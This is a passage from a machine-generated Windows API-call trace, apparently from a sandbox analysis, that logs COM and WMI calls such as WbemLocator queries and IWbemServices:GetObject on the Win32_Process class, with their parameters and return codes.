pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0059.638] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7320, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11df5b0) returned 0x0 [0059.638] WbemLocator:IRpcOptions:Query (in: This=0x11df5b0, pPrx=0x1beaa750, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0059.638] WbemLocator:IUnknown:Release (This=0x11df5b0) returned 0x2 [0059.638] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0059.638] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0059.638] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7320, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bea7320) returned 0x0 [0059.638] WbemLocator:IUnknown:Release (This=0x1bea7320) returned 0x2 [0059.638] SysStringLen (param_1=0x0) returned 0x0 [0059.638] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0b30, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0059.638] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0b30, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0059.638] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0b30, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.638] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0830, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0059.638] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0830, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0059.639] IWbemServices:GetObject (in: This=0x1bea7320, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1beb9f60, ppCallResult=0x0) returned 0x0 [0059.643] IWbemClassObject:Get (in: This=0x1beb9f60, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0059.643] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0059.643] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0059.643] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0059.643] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0059.643] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0059.643] IUnknown:Release (This=0x111f638) returned 0x1 [0059.645] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1beaa6f0) returned 0x0 [0059.646] WbemDefPath:IUnknown:QueryInterface (in: This=0x1beaa6f0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0059.646] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1beaa6f0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bea0bf0) returned 0x0 [0059.646] WbemDefPath:IUnknown:Release (This=0x1beaa6f0) returned 0x0 [0059.646] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bea0bf0) returned 0x0 [0059.646] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0059.646] WbemDefPath:IUnknown:AddRef (This=0x1bea0bf0) returned 0x3 [0059.646] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0059.646] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0059.649] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1beaa710) returned 0x0 [0059.649] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1beaa710, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.649] WbemDefPath:IUnknown:Release (This=0x1beaa710) returned 0x3 [0059.649] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0059.649] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0059.649] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0059.649] WbemDefPath:IUnknown:Release (This=0x1bea0bf0) returned 0x2 [0059.649] WbemDefPath:IUnknown:Release (This=0x1bea0bf0) returned 0x1 [0059.649] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0059.649] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0059.649] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bea0bf0) returned 0x0 [0059.649] WbemDefPath:IUnknown:AddRef (This=0x1bea0bf0) returned 0x3 [0059.649] WbemDefPath:IUnknown:Release (This=0x1bea0bf0) returned 0x2 [0059.649] WbemDefPath:IWbemPath:SetText (This=0x1bea0bf0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0059.650] IWbemClassObject:Get (in: This=0x1beb9f60, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0059.650] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0059.650] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0059.650] IWbemClassObject:Get (in: This=0x1beb9f60, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0059.650] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0059.650] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0059.650] IWbemClassObject:Get (in: This=0x1beb9f60, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0059.650] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0059.651] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0059.651] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0059.651] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0059.651] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0059.651] IUnknown:Release (This=0x111f638) returned 0x1 [0059.653] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bec59e0) returned 0x0 [0059.653] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bec59e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0059.653] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bec59e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea0cb0) returned 0x0 [0059.653] WbemDefPath:IUnknown:Release (This=0x1bec59e0) returned 0x0 [0059.653] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0cb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea0cb0) returned 0x0 [0059.653] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0cb0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0059.654] WbemDefPath:IUnknown:AddRef (This=0x1bea0cb0) returned 0x3 [0059.654] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0cb0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0059.654] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0cb0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0059.654] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0cb0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bec5a20) returned 0x0 [0059.654] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bec5a20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.654] WbemDefPath:IUnknown:Release (This=0x1bec5a20) returned 0x3 [0059.654] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0059.654] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0059.654] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0cb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0059.654] WbemDefPath:IUnknown:Release (This=0x1bea0cb0) returned 0x2 [0059.654] WbemDefPath:IUnknown:Release (This=0x1bea0cb0) returned 0x1 [0059.655] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0059.655] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0059.655] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0cb0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea0cb0) returned 0x0 [0059.655] WbemDefPath:IUnknown:AddRef (This=0x1bea0cb0) returned 0x3 [0059.655] WbemDefPath:IUnknown:Release (This=0x1bea0cb0) returned 0x2 [0059.655] WbemDefPath:IWbemPath:SetText (This=0x1bea0cb0, uMode=0x4, pszPath="") returned 0x0 [0059.655] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0059.655] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0059.655] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0059.655] IUnknown:Release (This=0x111f638) returned 0x1 [0059.657] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bec59e0) returned 0x0 [0059.657] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bec59e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0059.657] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bec59e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea0d70) returned 0x0 [0059.657] WbemDefPath:IUnknown:Release (This=0x1bec59e0) returned 0x0 [0059.657] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea0d70) returned 0x0 [0059.657] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0059.658] WbemDefPath:IUnknown:AddRef (This=0x1bea0d70) returned 0x3 [0059.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0059.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0059.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bec5a60) returned 0x0 [0059.658] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bec5a60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.658] WbemDefPath:IUnknown:Release (This=0x1bec5a60) returned 0x3 [0059.658] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0059.658] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0059.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0059.658] WbemDefPath:IUnknown:Release (This=0x1bea0d70) returned 0x2 [0059.658] WbemDefPath:IUnknown:Release (This=0x1bea0d70) returned 0x1 [0059.658] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0059.658] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0059.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea0d70) returned 0x0 [0059.658] WbemDefPath:IUnknown:AddRef (This=0x1bea0d70) returned 0x3 [0059.659] WbemDefPath:IUnknown:Release (This=0x1bea0d70) returned 0x2 [0059.659] WbemDefPath:IWbemPath:SetText (This=0x1bea0d70, uMode=0x4, pszPath="") returned 0x0 [0059.659] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0d70, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0059.659] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0cb0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0059.659] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea0d70, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0059.659] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea0d70, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0059.659] WbemDefPath:IWbemPath:SetServer (This=0x1bea0d70, Name="Q9IATRKPRH") returned 0x0 [0059.659] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0059.659] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0059.659] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0059.659] IUnknown:Release (This=0x111f638) returned 0x1 [0059.661] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bec5a80) returned 0x0 [0059.661] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bec5a80, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, 